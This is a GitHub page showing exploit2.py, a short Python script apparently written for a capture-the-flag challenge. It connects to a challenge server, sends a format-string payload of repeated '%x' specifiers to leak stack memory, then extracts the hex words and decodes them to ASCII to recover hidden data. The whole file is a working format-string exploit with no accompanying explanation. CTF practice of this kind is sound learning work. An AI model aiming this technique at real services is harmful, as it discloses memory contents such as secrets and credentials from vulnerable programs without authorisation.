-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit2.py
37 lines (30 loc) · 1.12 KB
/
exploit2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import socket
import re
# Function to decode hexadecimal to ASCII
def hex_to_ascii(hex_values):
ascii_output = ""
for hex_val in hex_values:
try:
# Convert hex to ASCII, ignoring invalid values
ascii_output += bytes.fromhex(hex_val).decode("utf-8", errors="ignore")
except ValueError:
pass
return ascii_output
# Target details
host = "challenges.0x0539.net"
port = 7070
# Payload to leak stack values
payload = "%x " * 20 # Adjust the number of %x as needed
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
print(s.recv(1024).decode()) # Receive initial banner
# Send payload to leak memory
s.sendall(payload.encode() + b"\n")
response = s.recv(4096).decode() # Adjust buffer size if needed
print("Raw Response:\n", response)
# Extract hexadecimal values from the response
hex_values = re.findall(r"[0-9a-fA-F]{8}", response)
print("\nHex Values:\n", hex_values)
# Decode the hex values into ASCII
decoded_output = hex_to_ascii(hex_values)
print("\nDecoded ASCII:\n", decoded_output)